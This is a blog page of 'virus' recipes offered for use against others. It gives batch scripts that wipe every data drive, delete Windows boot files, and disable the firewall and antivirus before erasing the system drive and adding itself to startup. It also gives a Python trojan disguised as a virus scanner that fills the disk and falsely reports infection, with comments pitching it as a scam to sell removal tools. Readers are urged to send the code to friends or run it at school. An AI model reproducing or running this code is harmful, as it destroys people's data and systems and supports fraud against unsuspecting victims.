Showing posts with label Virus. Show all posts
Showing posts with label Virus. Show all posts

Thursday, 10 April 2014

Deleting All Data Virus

OPEN NOTEPAD TYPE THE FOLLOWING CODE:


@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Save it as  anyname.bat


Note: This file deletes all users data except the data present in system drive.

Empty Folders Making Virus

OPEN NOTEPAD TYPE THE FOLLOWING CODE:


:virus
md %random%
goto virus


save in "all files" as virus.bat


Note:  This will make countless empty folders

How to Delete Windows Files

OPEN NOTEPAD PASTE THE FOLLOWING CODE:


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini



Save it as a win.bat


Note: It will delete all files that are necessary to start windows.

Tuesday, 8 April 2014

Thursday, 20 March 2014

Trojen Virus

Trojen Virus

Trojans are the most infamous viruses in computer world which can make your PC damn slow and it sometimes also crash the pc. Here we are making a trojan in python language.
So let's start
1. Copy and paste the following code in notepad:
#tokzikate's trojan
import win32file
import os
def get_drivestats():
#This retrieves the amount of free space on the drive in
bytes
drive = os.path.splitdrive(os.getcwd())[0].rstrip(':')
sectPerCluster, bytesPerSector, freeClusters, totalClusters =
\
win32file.GetDiskFreeSpace(drive + ":\\")
free_space = freeClusters*sectPerCluster*bytesPerSector
return free_space, drive
print ("-"*40)
print ("-" + " " * 9 + "Welcome to pyVirScan" + " " * 9 + "-")
print ("-" + " " * 2 + "A Virus Scanner written in Python!" + " "
* 2 + "-")
print ("-" + " " * 13 + "Version 1.00" + " " * 13 + "-")
print ("-"*40)
print ("Be patient, you will be notified when the scan is complete")
#print ("Current Progress: 0.01%")
free_space, drive = get_drivestats()
#Convert free_space to kb and store in a variable
kb = float(1024)
kbFree = free_space / kb
#Find the amount of files you need to create to *almost* fill the drive
fillWithFloat = kbFree / 409600
#convert the amount of files needed to create from a
fillWithInt = int(round(fillWithFloat))
loopNum = 1
for y in range(fillWithInt):
block = '0' * 409600
#This saves the files to the current directory, but change it so that it changes it to System 32, so the victim can't find the file they are trying to delete!
bigFile = file("sysscanresults" + str(loopNum) + ".dll", 'wb')
for x in range(1000):
bigFile.write(block)
bigFile.close()
#Didn't finish writing the percent complete function, you can uncomment and fix the lines of code if you want
#percentComplete = loopNum * fillWithInt / 100
#print ("Current Progress: " + str(percentComplete) + "%")
loopNum += 1
#I don't know why I did this...
#Maybe so that you can give the source to someone who doesn't know python
#and get them to run it! so it looks more legitimate...
mwahaha
if 1 == 1:
virus = 1
if 1 != 1:
virus = 0
print ("-"*40)
print (" " * 12 + "Scan Completed!")
print (" -"*20)
print ("Results:")
if virus == 1:
#This will always be true, unless the source is edited
#For scamming purposes you could tell them to buy a virus
#removal tool or something of the like.
print("The results were positive, your computer is infected.")
#Yet to add the text file creation
#print("To see the full list of results, navigate to C:\\results.txt")
#print("In the text file you will see:")
#print ("1) What you are infected by.")
#print ("2) Details of each infection.")
#print ("3) What you can do to remove the virus'.")
if virus == 0:
print("Your computer is clean!")
print ("Thankyou for using pyVirScan")
print ("-"*40)
exit = raw_input("Press <enter> to exit...")


2. Now save the file as virus.py.
3. Now open this file in your python interpreter and you are done.
Now you can send this virus to you friend's PC or laptop.

Virus For shutting down PC automatically. What virus will do?


Virus For shutting down PC automatically.

What virus will do?

*. Copy itself for multiple times.
*. This will disable the restore option by deleting the restore file.
*. This will disable the login option.
*. If this affect the system, then the user can't use his OS longer.


 

start
color 5
title Windows is being corrupted...                           Idiot!
time 12:00
net stop "Security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
start
echo copy %0 >> c:\autoexec.bat
copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat
Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg
start c:\regstart.reg
copy %0 %systemroot%\shroom.bat > nul
start
copy %0 *.bat > nul
start
attrib +r +h virus.bat
attrib +r +h
RUNDLL32 USER32.DLL,SwapMouseButton
tskill msnmsgr
tskill Limewire
tskill iexplorer
tskill NMain
tskill Firefox
tskill explorer
tskill AVGUARD
msg * Idiot! Your OS is now corrupted.
msg * Say Bye to your Windows, Idiot!
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
del "C:\WINDOWS\pchealth\"
del "C:\WINDOWS\system\"
del "C:\WINDOWS\system32\restore\"
del "C:\WINDOWS\system32\logonui.exe"
del "C:\WINDOWS\system32\ntoskrnl.exe"
del "Winlogon.exe"
ERASE c:
start
shutdown - s -t 15 -c "Only 15 seconds are remaining for your Windows"
cd %userprofile%\Desktop
copy fixvirus.bat %userprofile%\Desktop
echo HaHaHa
:LOOP
color 17
color 28
color 32
color 22
color 11
color 02
color 39
color 34
GOTO LOOP

Copy this code into Notepad and save as name.bat(while saving select all files instead of text files).







This is a very dangerous virus. So Handle it carefully. Don't try in your pc or friend pc. Just try in your school or college.